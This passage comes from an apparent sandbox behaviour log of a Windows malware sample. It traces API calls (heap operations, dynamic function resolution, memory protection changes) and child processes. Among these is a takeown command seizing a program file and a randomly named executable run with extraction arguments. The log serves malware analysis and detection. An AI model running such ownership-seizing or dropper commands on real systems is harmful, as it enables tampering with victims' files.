lpMem=0x856338 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840e00 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8555e0 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8562d8 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x84f4d8 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856278 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856218 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856198 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856140 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8412a0 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8560f0 | out: hHeap=0x840000) returned 1 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x841240 | out: hHeap=0x840000) returned 1 [0109.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0109.587] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4d0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4d0*=0x0, lpOverlapped=0x0) returned 1 [0109.587] GetLastError () returned 0x0 [0109.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.587] GetFileType (hFile=0x74) returned 0x1 [0109.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x864aa8 [0109.587] GetProcessHeap () returned 0x840000 [0109.587] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0109.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0109.588] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4b4, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4b4*=0x0, lpOverlapped=0x0) returned 1 [0109.588] GetLastError () returned 0x0 [0109.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.588] GetFileType (hFile=0x74) returned 0x1 [0109.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0109.588] GetProcessHeap () returned 0x840000 [0109.588] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x864aa8 [0109.588] GetProcessHeap () returned 0x840000 [0109.588] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0109.589] longjmp () [0109.589] _tell (_FileHandle=3) returned 226 [0109.589] _close (_FileHandle=3) returned 0 [0109.589] CmdBatNotification () returned 0x0 [0109.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.589] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0109.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.589] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0109.589] _get_osfhandle (_FileHandle=0) returned 0x3 [0109.589] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0109.590] SetConsoleInputExeNameW () returned 0x1 [0109.590] GetConsoleOutputCP () returned 0x1b5 [0109.590] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0109.590] SetThreadUILanguage (LangId=0x0) returned 0x409 [0109.590] exit (_Code=0) Process: id = "169" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x83b6000" os_pid = "0xd6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 729 os_tid = 0xd70 Thread: id = 732 os_tid = 0xd84 Thread: id = 733 os_tid = 0xd88 Process: id = "170" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x9b10000" os_pid = "0xd74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "161" os_parent_pid = "0xd14" cmd_line = "takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 730 os_tid = 0xd78 Process: id = "171" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x1ed5000" os_pid = "0xd7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "147" os_parent_pid = "0xc8c" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 731 os_tid = 0xd80 [0093.158] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0093.158] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0093.159] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0093.160] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0093.161] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0093.162] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0093.163] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0093.384] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0093.384] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0093.384] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0093.384] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0093.385] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0093.385] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0093.385] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0093.385] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0093.386] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0093.386] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0093.386] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0093.386] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0093.386] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0093.386] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0093.386] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0093.386] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0093.387] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0093.387] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0093.387] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0093.387] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0093.387] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0093.387] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0093.387] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0093.387] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0093.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xdb2ea660, dwHighDateTime=0x1d5d06a)) [0093.388] GetCurrentThreadId () returned 0xd80 [0093.388] GetCurrentProcessId () returned 0xd7c [0093.388] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=23533994828) returned 1 [0093.388] GetProcessHeap () returned 0x500000 [0093.388] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0093.388] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0093.389] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0093.390] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0093.391] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0093.392] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3bc) returned 0x5170c0 [0093.392] GetCurrentThreadId () returned 0xd80 [0093.392] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x517488 [0093.392] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x5174a8 [0093.392] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xa0473503, hStdError=0x0)) [0093.392] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0093.392] GetFileType (hFile=0x3) returned 0x2 [0093.393] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.393] GetFileType (hFile=0x7) returned 0x2 [0093.393] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0093.393] GetFileType (hFile=0xb) returned 0x2 [0093.393] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0093.393] GetEnvironmentStringsW () returned 0x517cb0* [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xb94) returned 0x518850 [0093.394] FreeEnvironmentStringsW (penv=0x517cb0) returned 1 [0093.394] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x94) returned 0x517cb0 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xa0) returned 0x517d50 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3e) returned 0x514df0 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x6c) returned 0x517df8 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x6e) returned 0x517e70 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x78) returned 0x50f920 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x62) returned 0x517ee8 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2e) returned 0x517f58 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x48) returned 0x517f90 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x38) returned 0x517fe0 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x28) returned 0x518020 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1a) returned 0x516a90 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x4a) returned 0x518050 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x72) returned 0x50f9a0 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x5180a8 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2e) returned 0x5180e0 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1c) returned 0x516ab8 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xd2) returned 0x518118 [0093.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x7c) returned 0x5181f8 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x518280 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3a) returned 0x514e38 [0093.395] RtlAllocateHeap 